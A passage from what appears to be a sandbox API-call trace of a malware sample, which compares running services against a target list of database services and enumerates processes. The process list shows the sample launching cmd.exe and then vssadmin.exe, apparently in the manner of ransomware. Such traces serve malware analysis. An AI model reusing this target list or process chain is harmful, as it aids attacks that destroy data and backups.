(lpString1="sqlwriter", lpString2="NcbService") returned 1 [0171.321] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0171.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0171.321] lstrlenW (lpString="netprofm") returned 8 [0171.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0171.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0171.321] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0171.321] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0171.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0171.321] lstrlenW (lpString="NgcSvc") returned 6 [0171.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0171.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0171.321] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0171.321] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0171.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0171.321] lstrlenW (lpString="NlaSvc") returned 6 [0171.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0171.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0171.322] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0171.322] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0171.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0171.322] lstrlenW (lpString="nsi") returned 3 [0171.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0171.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0171.322] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0171.322] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0171.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0171.322] lstrlenW (lpString="PcaSvc") returned 6 [0171.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0171.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0171.322] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0171.322] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0171.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0171.322] lstrlenW (lpString="PlugPlay") returned 8 [0171.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0171.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0171.322] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0171.322] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0171.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0171.322] lstrlenW (lpString="Power") returned 5 [0171.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0171.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0171.322] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0171.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0171.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0171.322] lstrlenW (lpString="ProfSvc") returned 7 [0171.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0171.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0171.322] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0171.322] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0171.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0171.322] lstrlenW (lpString="RpcEptMapper") returned 12 [0171.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.323] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0171.323] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0171.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0171.323] lstrlenW (lpString="RpcSs") returned 5 [0171.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0171.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0171.323] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0171.323] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0171.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0171.323] lstrlenW (lpString="SamSs") returned 5 [0171.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0171.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0171.323] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0171.323] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0171.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0171.323] lstrlenW (lpString="Schedule") returned 8 [0171.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0171.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0171.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0171.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0171.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0171.323] lstrlenW (lpString="SecurityHealthService") returned 21 [0171.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0171.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0171.323] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0171.323] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0171.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0171.323] lstrlenW (lpString="SENS") returned 4 [0171.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0171.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0171.323] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0171.323] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0171.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0171.323] lstrlenW (lpString="ShellHWDetection") returned 16 [0171.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.324] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0171.324] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0171.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0171.324] lstrlenW (lpString="Spooler") returned 7 [0171.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0171.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0171.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0171.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0171.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0171.324] lstrlenW (lpString="StateRepository") returned 15 [0171.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0171.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0171.324] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0171.324] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0171.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0171.324] lstrlenW (lpString="SysMain") returned 7 [0171.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0171.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0171.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0171.324] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0171.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0171.324] lstrlenW (lpString="SystemEventsBroker") returned 18 [0171.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0171.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0171.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0171.324] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0171.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0171.324] lstrlenW (lpString="Themes") returned 6 [0171.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0171.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0171.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0171.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0171.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0171.324] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0171.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0171.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0171.325] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0171.325] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0171.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0171.325] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0171.331] Process32FirstW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.331] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0171.331] lstrlenW (lpString="System") returned 6 [0171.332] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0171.332] lstrlenW (lpString="smss.exe") returned 8 [0171.332] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.332] lstrlenW (lpString="csrss.exe") returned 9 [0171.332] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0171.333] lstrlenW (lpString="wininit.exe") returned 11 [0171.333] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.333] lstrlenW (lpString="csrss.exe") returned 9 [0171.333] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0171.334] lstrlenW (lpString="winlogon.exe") returned 12 [0171.480] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0171.480] lstrlenW (lpString="services.exe") returned 12 [0171.480] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0171.481] lstrlenW (lpString="lsass.exe") returned 9 [0171.481] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0171.481] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0171.481] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0171.482] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0171.482] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.482] lstrlenW (lpString="svchost.exe") returned 11 [0171.482] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.482] lstrlenW (lpString="svchost.exe") returned 11 [0171.482] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0171.483] lstrlenW (lpString="dwm.exe") returned 7 [0171.483] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.483] lstrlenW (lpString="svchost.exe") returned 11 [0171.483] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.484] lstrlenW (lpString="svchost.exe") returned 11 [0171.484] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.484] lstrlenW (lpString="svchost.exe") returned 11 [0171.484] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.485] lstrlenW (lpString="svchost.exe") returned 11 [0171.485] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.485] lstrlenW (lpString="svchost.exe") returned 11 [0171.485] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.485] lstrlenW (lpString="svchost.exe") returned 11 [0171.485] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.486] lstrlenW (lpString="svchost.exe") returned 11 [0171.486] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.486] lstrlenW (lpString="svchost.exe") returned 11 [0171.486] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.487] lstrlenW (lpString="svchost.exe") returned 11 [0171.487] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.487] lstrlenW (lpString="svchost.exe") returned 11 [0171.487] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0171.488] lstrlenW (lpString="spoolsv.exe") returned 11 [0171.488] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.488] lstrlenW (lpString="svchost.exe") returned 11 [0171.488] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0171.488] lstrlenW (lpString="audiodg.exe") returned 11 [0171.488] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0171.489] lstrlenW (lpString="sihost.exe") returned 10 [0171.489] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.489] lstrlenW (lpString="svchost.exe") returned 11 [0171.489] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0171.490] lstrlenW (lpString="taskhostw.exe") returned 13 [0171.490] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0171.490] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0171.490] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0171.491] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0171.491] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0171.491] lstrlenW (lpString="Memory Compression") returned 18 [0171.491] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0171.492] lstrlenW (lpString="explorer.exe") returned 12 [0171.492] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0171.492] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0171.492] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0171.493] lstrlenW (lpString="SearchUI.exe") returned 12 [0171.493] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0171.493] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0171.493] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0171.493] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0171.494] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0171.494] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0171.494] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0171.494] lstrlenW (lpString="cmd.exe") returned 7 [0171.494] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0171.495] lstrlenW (lpString="conhost.exe") returned 11 [0171.495] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0171.495] lstrlenW (lpString="consent.exe") returned 11 [0171.495] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0171.496] lstrlenW (lpString="vssadmin.exe") returned 12 [0171.496] Process32NextW (in: hSnapshot=0x36c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, 